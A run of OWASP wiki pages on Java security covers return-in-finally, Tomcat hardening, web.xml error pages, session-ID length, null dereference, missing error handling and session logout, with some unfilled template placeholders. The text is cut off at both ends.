* [[:Category:Input Validation]]

==Related [[Technical Impacts]]==

* [[Technical Impact 1]]
* [[Technical Impact 2]]

==References==
Note: A reference to related [http://cwe.mitre.org/ CWE] or [http://capec.mitre.org/ CAPEC] article should be added when exists. Eg:

* [http://cwe.mitre.org/data/definitions/79.html CWE 79].
* http://www.link1.com
* [http://www.link2.com Title for the link2]

__NOTOC__

[[Category:OWASP ASDR Project]]
[[Category:Input Validation Vulnerability]]
[[Category:Java]]
[[Category:Code Snippet]]
[[Category:Vulnerability]]

Return Inside Finally Block

2017-11-10T21:48:26Z

Imifos: Moved page into the right category. See Java space page for me details. Content has not been reviewed in this edit.

{{Template:Vulnerability}}
{{Template:Fortify}}

Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''

[[ASDR_TOC_Vulnerabilities|Vulnerabilities Table of Contents]]

==Description==
Returning from inside a finally block will cause exceptions to be lost.

A return statement inside a finally block will cause any exception that might be thrown in the try block to be discarded.

==Risk Factors==

TBD

==Examples==

In the following code excerpt, the IllegalArgumentException will never be delivered to the caller. The finally block will cause the exception to be discarded.

<pre>
try {
...
throw IllegalArgumentException();
}
finally {
return r;
}
</pre>

==Related [[Attacks]]==

* [[Attack 1]]
* [[Attack 2]]

==Related [[Vulnerabilities]]==

* [[Vulnerability 1]]
* [[Vulnerabiltiy 2]]

==Related [[Controls]]==

* [[Error Handling]]

==Related [[Technical Impacts]]==

* [[Technical Impact 1]]
* [[Technical Impact 2]]

==References==
Note: A reference to related [http://cwe.mitre.org/ CWE] or [http://capec.mitre.org/ CAPEC] article should be added when exists. Eg:

* [http://cwe.mitre.org/data/definitions/79.html CWE 79].
* http://www.link1.com
* [http://www.link2.com Title for the link2]

__NOTOC__

[[Category:OWASP ASDR Project]]
[[Category:Error Handling Vulnerability]]
[[Category:Java]]
[[Category:Implementation]]
[[Category:Code Snippet]]
[[Category:Vulnerability]]

Securing tomcat

2017-11-10T21:48:13Z

Imifos: Moved page into the right category. See Java space page for me details. Content has not been reviewed in this edit.

{{taggedDocument
| type=partialOld
}}

==Status==
''' * Content should provide a link and references to '''
<s> - SecureTomcat - http://securetomcat.googlecode.com</s>
Released 14/1/2007
Updated 10/7/2014

https://tomcat.apache.org/tomcat-7.0-doc/security-howto.html

https://tomcat.apache.org/tomcat-8.0-doc/security-howto.html is almost the same...

== Authors ==
Darren Edmonds

Jacques Le Roux

== Introduction ==

Most weaknesses in [http://tomcat.apache.org/ Apache Tomcat] come from incorrect or inappropriate configuration. It is nearly always possible to make Tomcat more secure than the default out of the box installation. What follows documents best practices and recommendations on securing a production Tomcat server, whether it be hosted on a Windows or Unix based operating system. ''Please note that the section ordering is not a representation of the section importance.''

== Software Versions ==

The first step is to make sure you are running the latest stable releases of software;
* Java Runtime Environment (JRE) or SDK
* Tomcat
* Third-party libraries

Many software projects, including Tomcat and Java, maintain multiple branches. New features are added to more recent branches, the older branches receive only bug-fixes and security updates. This allows developers to advance the software without disrupting production environments. Be aware of which branch you have deployed, and track new releases within that branch.

For example, if you are running Tomcat 5.5.'''26''', you should watch for new versions within the 5.5 branch (e.g. 5.5.'''27''') and upgrade to this bug-fix version. If you are content to stick with the Tomcat 5.5 branch then it is not necessary to upgrade to a new '''6.0'''.18 version.

You should subscribe to announcement lists for Tomcat, and any other software you deploy, to stay abreast of new versions released due to security issues. As soon as a security issue is disclosed, potential attackers will begin trying to exploit that vulnerability. It is important that you upgrade your software before an attacker uses the vulnerability against you.

== Installation of Apache Tomcat ==

=== UNIX ===

* Create a tomcat user/group
* Download and unpack the core distribution (referenced as '''CATALINA_HOME''' from now on)
* Change '''CATALINA_HOME''' ownership to tomcat user and tomcat group
* Change files in '''CATALINA_HOME'''/conf to be readonly (400)
* Make sure tomcat user has read/write access to /tmp and write (300 - yes, only write/execute) access to '''CATALINA_HOME'''/logs

=== Windows ===

* Download the core windows service installer
* Start the installation, click ''Next'' and ''Agree'' to the licence
* Untick ''native'', ''documentation'', ''examples'' and ''webapps'' then click ''Next''
* Choose an installation directory (referenced as '''CATALINA_HOME''' from now on), preferably on a different drive to the OS.
* Choose an administrator username (NOT admin) and a secure password that complies with your organisations password policy.
* Complete tomcat installation, but do not start service.

=== Common ===

* Remove everything from '''CATALINA_HOME'''/webapps (ROOT, balancer, jsp-examples, servlet-examples, tomcat-docs, webdav)

* Remove everything from '''CATALINA_HOME'''/server/webapps (host-manager, manager). Note that it can be useful to keep the manager webapp installed if you need the ability to redeploy without restarting Tomcat. If you choose to keep it please read the section on Securing the Manager WebApp.

* Remove '''CATALINA_HOME'''/conf/Catalina/localhost/host-manager.xml and '''CATALINA_HOME'''/conf/Catalina/localhost/manager.xml (again, if you are keeping the manager application, do not remove this).

* Make sure the default servlet is configured '''not''' to serve index pages when a welcome file is not present. In '''CATALINA_HOME'''/conf/web.xml
<servlet>
<servlet-name>default</servlet-name>
<servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>listings</param-name>
<param-value>'''false'''</param-value> 
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>

* Remove version string from HTTP error messages by repacking '''CATALINA_HOME'''/server/lib/catalina.jar with an updated ServerInfo.properties file. Note that making this change may prevent [http://www.lambdaprobe.org Lambda Probe] (popular Tomcat monitoring webapp) to initialise as it cannot determine the Tomcat version. A solution to this can be found on the [http://www.lambdaprobe.org/forum2/message.jspa?messageID=477 Lambda Probe Forum]. An alternative to repackaging the JAR is available on the [https://www.owasp.org/index.php/Talk:Securing_tomcat Discussion] page.

:unpack catalina.jar
cd CATALINA_HOME/server/lib
jar xf catalina.jar org/apache/catalina/util/ServerInfo.properties
:update ServerInfo.properties by changing server.info line to server.info=Apache Tomcat
:repackage catalina.jar
jar uf catalina.jar org/apache/catalina/util/ServerInfo.properties
:remove CATALINA_HOME/server/lib/org (created when extracting the ServerInfo.properties file)

* Replace default error page (default is stacktrace) by adding the following into '''CATALINA_HOME'''/conf/web.xml. The default error page shows a full stacktrace which is a disclosure of sensitive information. Place the following within the ''web-app'' tag (after the ''welcome-file-list'' tag is fine). ''The following solution is not ideal as it produces a blank page because Tomcat cannot find the file specified, but without a better solution this, at least, achieves the desired result. A well configured web application will override this default in CATALINA_HOME/webapps/APP_NAME/WEB-INF/web.xml so it won't cause problems.''
<error-page>
<exception-type>java.lang.Throwable</exception-type>
<location>/error.jsp</location>
</error-page>
* Rename '''CATALINA_HOME'''/conf/server.xml to '''CATALINA_HOME'''/conf/server-original.xml and rename '''CATALINA_HOME'''/conf/server-minimal.xml to '''CATALINA_HOME'''/conf/server.xml. The minimal configuration provides the same basic configuration, but without the nested comments is much easier to maintain and understand. Do not delete the original file as the comments make it useful for reference if you ever need to make changes - e.g. enable SSL.

* Replace the server version string from HTTP headers in server responses, by adding the server keyword in your Connectors in '''CATALINA_HOME'''/conf/server.xml
<Connector port="8080" ...
server="Apache" /> 

* Start Tomcat, deploy your applications into '''CATALINA_HOME'''/webapps and hope it works!

== Protecting the Shutdown Port ==
Tomcat uses a port (defaults to 8005) as a shutdown port. What this means is that to stop all webapps and stop Tomcat cleanly the shutdown scripts make a connection to this port and send the ''shutdown'' command. This is not as huge a security problem as it may sound considering the connection to the port must be made from the machine running tomcat and the ''shutdown'' command can be changed to something other than the string ''SHUTDOWN''. However, it's wise to take the following precautions;
* if you are running a publicly accessible server make sure you prevent external access to the shutdown port by using a suitable firewall.
* change the shutdown command in '''CATALINA_HOME'''/conf/server.xml and make sure that file is only readable by the tomcat user.
<Server port="8005" shutdown="ReallyComplexWord">
* if this is still a big problem for you then check [http://marc.theaimsgroup.com/?l=tomcat-user&m=104400608619118&w=2 this thread], from the Tomcat mailing list, for alternatives (they all involve code customisation though).

== Securing Manager WebApp ==

* By default there are no users with the manager role. To make use of the manager webapp you need to add a new role and user into the '''CATALINA_HOME'''/conf/tomcat-users.xml file.
<role rolename="manager"/>
<user username="darren" password="ReallyComplexPassword" roles="manager"/>

* When you access the password-protected manager webapp, the password you enter will be sent over the network in (nearly) plain text, ripe for interception. By using an SSL connection instead, you can transport the password securely. Fortunately, this is simple to accomplish. After configuring an SSL Connector in server.xml (see your Tomcat documentation), simply add the following to '''CATALINA_HOME'''/webapps/manager/WEB-INF/web.xml inside of the <security-constraint></security-constraint> tags.
<user-data-constraint>
<transport-guarantee>CONFIDENTIAL</transport-guarantee>
</user-data-constraint>
: This will force an SSL connection to be used when accessing the manager webapp. Plus, with a little more work, the SSL Connector can be configured to require a client certificate.

* Using a [http://tomcat.apache.org/tomcat-5.5-doc/config/valve.html valve] to filter by IP or hostname to only allow a subset of machines to connect (i.e. LAN machines). Add one of the following within the Context tag in '''CATALINA_HOME'''/conf/Catalina/localhost/manager.xml



<Valve className="org.apache.catalina.valves.RemoteAddrValve"
allow="192.168.1.*" />




<Valve className="org.apache.catalina.valves.RemoteHostValve"
allow="*.localdomain.com" />

* Rename the manager webapp.

: This is 'security through obscurity'. Although widely maligned, obscurity is a useful adjunct security measure on a one-off basis. A would-be attacker seeking to gain access to the manager webapp will look for it in its usual location. By renaming it, you force the attacker to guess URLs or assume that it is not installed. It is important to note that you are not ''relying'' upon this obscurity for security, but rather using it as a backup measure in case someone finds a way around the remote valve filter you have configured as described above.

: To rename the manager webapp, decide on the new name (we'll use ''foobar'' in this example), and:

** Move '''CATALINA_HOME'''/conf/Catalina/localhost/'''manager.xml''' to '''CATALINA_HOME'''/conf/Catalina/localhost/'''foobar.xml'''
** Update the '''docBase''' attribute within '''CATALINA_HOME'''/conf/Catalina/localhost/'''foobar.xml''' to ${catalina.home}/server/webapps/foobar
** Move '''CATALINA_HOME'''/server/webapps/'''manager''' to '''CATALINA_HOME'''/server/webapps/'''foobar'''

== Logging ==

As of tomcat 5.5 logging is now handled by the commons-logging framework allowing you to choose your preferred logging implementation - log4j or standard JDK logging. By default the standard JDK logging is used (or a compatible extension called juli to be more precise), storing daily log files in '''CATALINA_HOME'''/logs.

By default additional webapp log entries are added to '''CATALINA_HOME'''/logs/catalina.YYYY-MM-DD.log and System.out/System.err are redirected to '''CATALINA_HOME'''/logs/catalina.out. To place webapp log entries in individual log files create a ''logging.properties'' file similar to the following within '''CATALINA_HOME'''/webapps/''APP_NAME''/WEB-INF/classes (change the ''APP_NAME'' value to create a unique file for each webapp)

handlers = org.apache.juli.FileHandler, java.util.logging.ConsoleHandler
org.apache.juli.FileHandler.level = ALL
org.apache.juli.FileHandler.directory = ${catalina.base}/logs
org.apache.juli.FileHandler.prefix = APP_NAME.

Further details on logging configuration can be found in the [http://tomcat.apache.org/tomcat-5.5-doc/logging.html tomcat logging documentation.]

If you find you get logging output duplicated in catalina.out, you most likely have unnecessary entries for ''java.util.logging.ConsoleHandler'' in your logging configuration file.

== Encryption ==

* SSL for password or other sensitive data exchange (''bordering on application security, not specific to tomcat'')
* SSL for connections (JDBC, LDAP, etc ..)
* The Tomcat documentation clearly explains how to [http://tomcat.apache.org/tomcat-5.5-doc/ssl-howto.html enable SSL.]

=== Sample Configuration - Good Security ===

Balance between compatibility and security. Supports blocking IO. Tested on Tomcat 7.0.54 and JVM 1.7.0_60-b19.
Supported clients include:
* Android 4.0.4 and later
* Chrome 37 and later
* Firefox 24 and later
* IE 7 and later EXCEPT on Win XP
* IE Mobile 10 and later
* Java 7u25 and later
* Safari 5.1.9 and later

<Connector port="443"
protocol="org.apache.coyote.http11.Http11Protocol"
SSLEnabled="true"
maxThreads="150"
scheme="https"
secure="true"
keystoreFile="..\ssl\keystore"
keystorePass="yourpasswordgoeshere"
clientAuth="false"
sslProtocol="TLSv1.2"
sslEnabledProtocols="TLSv1.2,TLSv1.1,TLSv1"
ciphers="TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384,TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384,
TLS_ECDH_RSA_WITH_AES_256_GCM_SHA384,TLS_ECDH_ECDSA_WITH_AES_256_GCM_SHA384,
TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256,TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256,
TLS_ECDH_RSA_WITH_AES_128_GCM_SHA256,TLS_ECDH_ECDSA_WITH_AES_128_GCM_SHA256,
TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384,TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384,
TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA,TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA,
TLS_ECDH_RSA_WITH_AES_256_CBC_SHA384,TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA384,
TLS_ECDH_RSA_WITH_AES_256_CBC_SHA,TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA,
TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256,TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256,
TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA,TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA,
TLS_ECDH_RSA_WITH_AES_128_CBC_SHA256,TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA256,
TLS_ECDH_RSA_WITH_AES_128_CBC_SHA,TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA"
/>

=== Sample Configuration - Better Security ===

Sacrifices compatibility for security. Supports non-blocking IO. Tested on Tomcat 7.0.54 and JVM 1.7.0_60-b19.

Supports:

* Android 4.4.2 and later
* Firefox 32 and later
* IE 11 and later
* IE Mobile 11 and later
* Java 8 b132
* Safari 7 and later

<Connector port="443"
protocol="org.apache.coyote.http11.Http11NioProtocol"
SSLEnabled="true"
maxThreads="150"
scheme="https"
secure="true"
keystoreFile="..\ssl\keystore"
keystorePass="yourpasswordgoeshere"
clientAuth="false"
sslProtocol="TLSv1.2"
sslEnabledProtocols="TLSv1.2"
ciphers="TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384,TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384,
TLS_ECDH_RSA_WITH_AES_256_GCM_SHA384,TLS_ECDH_ECDSA_WITH_AES_256_GCM_SHA384,
TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256,TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256,
TLS_ECDH_RSA_WITH_AES_128_GCM_SHA256,TLS_ECDH_ECDSA_WITH_AES_128_GCM_SHA256,
TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384,TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384,
TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA,TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA,
TLS_ECDH_RSA_WITH_AES_256_CBC_SHA384,TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA384,
TLS_ECDH_RSA_WITH_AES_256_CBC_SHA,TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA,
TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256,TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256,
TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA,TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA,
TLS_ECDH_RSA_WITH_AES_128_CBC_SHA256,TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA256,
TLS_ECDH_RSA_WITH_AES_128_CBC_SHA,TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA"
/>

== Java Security ==

=== Running Tomcat with a Security Manager===
The default Tomcat configuration provides good protection for most requirements, but does not prevent a malicious application from compromising the security of other applications running in the same instance. To prevent this sort of attack, Tomcat can be run with a Security Manager enabled which strictly controls access to server resources.
Tomcat documentation has a good section on [http://tomcat.apache.org/tomcat-5.5-doc/security-manager-howto.html enabling the Security Manager.]

It's always a good idea to start tomcat with the "-security" parameter. This also makes sure (among other things), that a webapplication isn't able to read/write/execute any file on the local filesystem without enabling it in the catalina.policy file. This effectively stops web shells like described [http://www.nruns.com/_downloads/Whitepaper-Hacking-jBoss-using-a-Browser.pdf here] from working.

== Miscellaneous ==

* [http://tomcat.apache.org/faq/security.html Tomcat Security FAQ]

=== Using Port 80 ===

If you are on a Windows machine you will be able to change the port attribute of the connector within the ''Catalina'' service from 8080 to 80. This allows you to use tomcat directly to serve all requests. Depending on your requirements it may not be good enough to serve directly from Tomcat so you may like to consider;
* Use IIS / Apache running on port 80 and mod_jk to proxy requests to Tomcat

On a UNIX machine only root is allowed to run services on ports below 1024 (kernel recompilation can overcome this). It is a very bad idea to run Tomcat as root, so the options are (in no particular order);
* Use Apache running on port 80 and mod_jk (or mod_proxy_ajp) to proxy requests to Tomcat
* Run Tomcat as root, but in a chroot jail
* Use a tool like authbind to enable a non root user to bind to ports below 1024
* Use a port forwarder such as [http://www.netfilter.org/projects/iptables/index.html Iptables] to redirect incoming requests from 8080 to 80. This has the disadvantage that internal redirects still need to use 8080.
* Run [http://www.squid-cache.org/ Squid] as a web accelerator in front of Tomcat
* Use JSVC/procrun
Each of the above options '''may''' bring extra security concerns which are outside the scope of this document.

=== Cleartext Passwords in CATALINA_HOME/conf/server.xml ===

When configuring a resource, such as a JDBC pool, it is necessary to include clear text username and password in CATALINA_HOME/conf/server.xml Best practices advice us never to store clear text passwords, but the following paragraphs highlight it is very difficult to avoid.

If one way encryption was used on the password it must be possible for a database connection to be established using a username and encrypted password - so the encrypted password is just as valuable as the clear text one to an attacker.

If two way encryption was used a keyfile is needed which must also live on the filesystem. To make it more secure a passphase is added to the keyfile which then has to be stored in the configuration as clear text - no improvement.

Encoding is security by obscurity and offers no form of protection (algorithms can be reverse engineered). What encoding does do is make huge amounts of overhead work - you need to customise Tomcat and the commons digester it uses to parse the config files. You'd also need a way to create encoded passwords.

In the case of a JDBC pool what you can do is;
* make sure the database user only has access to the databases and tables they need (also limit rights as necessary).
* make sure the raw database files are only accessible to the user running the database services (e.g. mysql/postgresql user)
* make sure the Tomcat configuration files are only accessible to the tomcat user

==Acknowledgements==
The author would like to thank Kris Easter, Michel Prunet and Stephen More for their valuable input.

[[Category:Java]]

Servlet spec - web.xml

2017-11-10T21:47:40Z

Imifos: Moved page into the right category. See Java space page for me details. Content has not been reviewed in this edit.

==Status==
Released on (mm/dd/yyyy) : 02/06/2012

==Description==
JEE web specification provides a way to configure, declaratively in the web deployment descriptor ("web.xml" file), the web app. behavior when an exception occur in a web component.

Behavior can be configured to react on elements below to display a resource:
* Java exception
* HTTP response code

==Possible configurations==
Configuration below redirect user to page "/errorManagement.jsp" when an error occur.

'''Configuration to react on Java exception'''
<pre>
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns="http://java.sun.com/xml/ns/javaee" xmlns:web="http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd"
xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd"
id="WebApp_ID" version="3.0">

...


<error-page>
<exception-type>java.lang.Throwable</exception-type>
<location>/errorManagement.jsp</location>
</error-page>

...

</web-app>
</pre>

'''Configuration to react on HTTP response code'''
<pre>
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns="http://java.sun.com/xml/ns/javaee" xmlns:web="http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd"
xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd"
id="WebApp_ID" version="3.0">

...


<error-page>
<error-code>500</error-code>
<location>/errorManagement.jsp</location>
</error-page>

...

</web-app>
</pre>

'''Content of the error management page'''
<pre>
<?xml version="1.0" encoding="ISO-8859-1" ?>

<%@ page language="java"
contentType="text/html; charset=ISO-8859-1"
pageEncoding="ISO-8859-1"
isErrorPage="true"%>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />
<title>Page to manage error</title>
</head>

<body>
<%-- Log error on server side --%>
<%
//When the page attribute "isErrorPage" is set to "true" the exception object is available
System.err.println("Error : " + exception.getMessage());
%>

<%-- Display generic error to client --%>
<b>An error occur !</b>
</body>
</html>
</pre>

==Best practice==
In order to don't miss any server error, it's a best practice to define a java exception based error page and set exception type to "java.lang.Exception".

[[Category:Java]]

Insufficient Session-ID Length

2017-11-10T11:48:34Z

Imifos: Moved page into the right category. See Java space page for me details. Content has not been reviewed in this edit.

{{Template:Vulnerability}}

Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''

[[ASDR_TOC_Vulnerabilities|Vulnerabilities Table of Contents]]

==Description==

Session identifiers should be at least 128 bits long to prevent brute-force session guessing attacks.

The WebLogic deployment descriptor should specify a session identifier length of at least 128 bits. A shorter session identifier leaves the application open to brute-force session guessing attacks. If an attacker can guess an authenticated user's session identifier, he can take over the user's session. The remainder of this explanation will detail a back-of-the-envelope justification for a 128 bit session identifier.

The expected number of seconds required to guess a valid session identifier is given by the equation:

[[image:session_id_guessing.gif]]

Where:

*B is the number of bits of entropy in the session identifier
*A is the number of guesses an attacker can try each second
*S is the number of valid session identifiers that are valid and available to be guessed at any given time

The number of bits of entropy in the session identifier is always less than the total number of bits in the session identifier. For example, if session identifiers were provided in ascending order, there would be close to zero bits of entropy in the session identifier no matter the identifier's length. Assuming that the session identifiers are being generated using a good source of random numbers, we will estimate the number of bits of entropy in a session identifier to be half the total number of bits in the session identifier. For realistic identifier lengths this is possible, though perhaps optimistic.

If attackers use a botnet with hundreds or thousands of drone computers, it is reasonable to assume that they could attempt tens of thousands of guesses per second. If the web site in question is large and popular, a high volume of guessing might go unnoticed for some time.

A lower bound on the number of valid session identifiers that are available to be guessed is the number of users that are active on a site at any given moment. However, any users that abandon their sessions without logging out will increase this number. (This is one of many good reasons to have a short inactive session timeout.)

With a 64 bit session identifier, assume 32 bits of entropy. For a large web site, assume that the attacker can try 1,000 guesses per second and that there are 10,000 valid session identifiers at any given moment. Given these assumptions, the expected time for an attacker to successfully guess a valid session identifier is about 7 minutes. (32bit = 4294967296 / 10.000 = 429496. At 1000 attempts per second that is 429 seconds or 7.15 minutes.)

Now assume a 128 bit session identifier that provides 64 bits of entropy. With a very large web site, an attacker might try 10,000 guesses per second with 100,000 valid session identifiers available to be guessed. Given these assumptions, the expected time for an attacker to successfully guess a valid session identifier is greater than 292 years.

==Risk Factors==

* Attackers that are try to obtain a valid session ID for [[Session hijacking attack|Session hijacking]].

==Examples==

===Short example name===
: A short example description, small picture, or sample code with [http://www.site.com links]

===Short example name===
: A short example description, small picture, or sample code with [http://www.site.com links]

==Related [[Attacks]]==

* [[Brute force attack]]

==Related [[Vulnerabilities]]==

[[Category:FIXME|link doesn't exist

* Insufficient cryptographic key length]]

==Related [[Controls]]==

* [[:Category:Session Management]]

==Related [[Technical Impacts]]==

* [[Technical Impact 1]]
* [[Technical Impact 2]]

==References==
TBD

__NOTOC__

[[Category:OWASP ASDR Project]]
[[Category:Deployment]]
[[Category:Java]]
[[Category:Environmental Vulnerability]]
[[Category:Session Management Vulnerability]]
[[Category:Cryptographic Vulnerability]]

[[Category:FIXME|link doesn't exist]]

[[Category:WebLogic]]

Null Dereference

2017-11-10T11:48:26Z

Imifos: Moved page into the right category. See Java space page for me details. Content has not been reviewed in this edit.

Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''

=Description=
The program can potentially dereference a null pointer, thereby raising a NullPointerException. Null pointer errors are usually the result of one or more programmer assumptions being violated. Most null pointer issues result in general software reliability problems, but if an attacker can intentionally trigger a null pointer dereference, the attacker might be able to use the resulting exception to bypass security logic or to cause the application to reveal debugging information that will be valuable in planning subsequent attacks.

A null-pointer dereference takes place when a pointer with a value of NULL is used as though it pointed to a valid memory area.

Null-pointer dereferences, while common, can generally be found and corrected in a simple way. They will always result in the crash of the process, unless exception handling (on some platforms) is invoked, and even then, little can be done to salvage the process.

= Consequences =

* Availability: Null-pointer dereferences invariably result in the failure of the process.

= Exposure period =

* Requirements specification: The choice could be made to use a language that is not susceptible to these issues.
* Implementation: Proper sanity checks at implementation time can serve to prevent null-pointer dereferences

= Platform =

* Languages: C, C++, Java, Assembly
* Platforms: All

= Examples =

== Example 1 ==

In the following code, the programmer assumes that the system always has a property named "cmd" defined. If an attacker can control the program's environment so that "cmd" is not defined, the program throws a null pointer exception when it attempts to call the trim() method.

String cmd = System.getProperty("cmd");
cmd = cmd.trim();

== Example 2 ==

Null-pointer dereference issues can occur through a number of flaws, including race conditions and simple programming omissions. While there are no complete fixes aside from contentious programming, the following steps will go a long way to ensure that null-pointer dereferences do not occur.

Before using a pointer, ensure that it is not equal to NULL:

<pre>
if (pointer1 != NULL) {
/* make use of pointer1 */
/* ... */
}
</pre>

When freeing pointers, ensure they are not set to NULL, and be sure to set them to NULL once they are freed:

<pre>
if (pointer1 != NULL) {
free(pointer1);
pointer1 = NULL;
}
</pre>

If you are working with a multi-threaded or otherwise asynchronous environment, ensure that proper locking APIs are used to lock before the if statement; and unlock when it has finished.

= Related [[Vulnerabilities]] =

* [[Miscalculated null termination]]
* [[State synchronization error]]

= Related [[Controls]] =

* Requirements specification: The choice could be made to use a language that is not susceptible to these issues.
* Implementation: If all pointers that could have been modified are sanity-checked previous to use, nearly all null-pointer dereferences can be prevented.

= References =

* [http://cwe.mitre.org/data/definitions/79.html CWE 79].
* http://www.link1.com
* [http://www.link2.com Title for the link2]

[[Category:Code Quality Vulnerability]]
[[Category:Java]]
[[Category:Vulnerability]]

Mobile Java Security

2017-11-10T11:48:19Z

Imifos: Moved page into the right category. See Java space page for me details. Content has not been reviewed in this edit.

== Presentations ==

[https://www.owasp.org/images/6/60/Owasp_security4mobileJava.pdf Dependability for Java Mobile Code] - Pierre Parrend.

'''Abstract:'''

The recent increase of connected hand-held devices, through which the users access to the Internet and communicate with others, introduces a major programming model shift: applications are not only provided in a classical client-server fashion, but can also be loaded as mobile code on the end device. Consequently, new security threats arise: Malicious code can be hidden in the loaded code, and executed inside the device. A new approach to security is thus necessary: Dependability must be guaranteed, i.e. both usual security properties (Authentication, Integrity, Confidentiality) and robustness, so as to explicitly prevent DoS attacks.

The state of the art of security for Java Mobile Code (MIDP and OSGi) is presented, as well as our research work on dependability in the context of the OSGi Platform.

This presentation is the support for a talk that has been given for the [[Switzerland|OWASP Switzerland Local Chapter]], the 24th of July, 2007.

[[Category:Java]]

Missing Error Handling

2017-11-10T11:48:04Z

Imifos: Moved page into the right category. See Java space page for me details. Content has not been reviewed in this edit.

{{Template:Vulnerability}}
{{Template:Fortify}}

Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''

[[ASDR_TOC_Vulnerabilities|Vulnerabilities Table of Contents]]

==Description==

A web application must define a default error page for 404 errors, 500 errors, and to catch java.lang. Throwable exceptions prevent attackers from mining information from the application container's built-in error response.

When an attacker explores a web site looking for vulnerabilities, the amount of information that the site provides is crucial to the eventual success or failure of any attempted attacks. If the application shows the attacker a stack trace, it relinquishes information that makes the attacker's job significantly easier. For example, a stack trace might show the attacker a malformed SQL query string, the type of database being used, and the version of the application container. This information enables the attacker to target known vulnerabilities in these components.

The application configuration should specify a default error page in order to guarantee that the application will never leak error messages to an attacker. Handling standard HTTP error codes is useful and user-friendly in addition to being a good security practice, and a good configuration will also define a last-chance error handler that catches any exception that could possibly be thrown by the application.

==Risk Factors==

TBD

==Examples==

An "HTTP 404 - File not found" error tells an attacker that the requested file doesn't exist rather than that he doesn't have access to the file. This can help the attacker to decide his next step.

==Related [[Attacks]]==

* [[Attack 1]]
* [[Attack 2]]

==Related [[Vulnerabilities]]==

* [[Vulnerability 1]]
* [[Vulnerabiltiy 2]]

==Related [[Controls]]==

* [[:Category:Error Handling]]

==Related [[Technical Impacts]]==

* [[Technical Impact 1]]
* [[Technical Impact 2]]

==References==

TBD

__NOTOC__

[[Category:OWASP ASDR Project]]
[[Category:Java]]
[[Category:Deployment]]
[[Category:Environmental Vulnerability]]
[[Category:Error Handling Vulnerability]]
[[Category:Vulnerability]]

Logout

2017-11-10T11:48:00Z

Imifos: Moved page into the right category. See Java space page for me details. Content has not been reviewed in this edit.

==Status==
Released on (mm/dd/yyyy) : 01/20/2012

==Objective of session logout process==
Session logout have to objective to cancel conversation established between the browser and the web server. We means here, by conversation, several browser request and response that has been linked between them.

==Steps of session logout process==
Logout is composed by 2 steps:
# Invalidate user session (indicate to web server that the session is not used anymore).
# Cancel cookie send by the web server to track user session (and also all cookies sent by web application, this, in order to have a global clean state).

==Code sample of session logout process==
<pre>
package org.owasp.javaproject.logout;

import java.io.IOException;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.Cookie;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;

/**
* Code sample showing how to perform a complete logout
*/
@SuppressWarnings("serial")
@WebServlet("/Logout")
public class LogoutCodeSample extends HttpServlet {

/**
* {@inheritDoc}
*
* @see javax.servlet.http.HttpServlet#doPost(javax.servlet.http.HttpServletRequest,
* javax.servlet.http.HttpServletResponse)
*/
@Override
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
doGet(request, response);
}

/**
* {@inheritDoc}
*
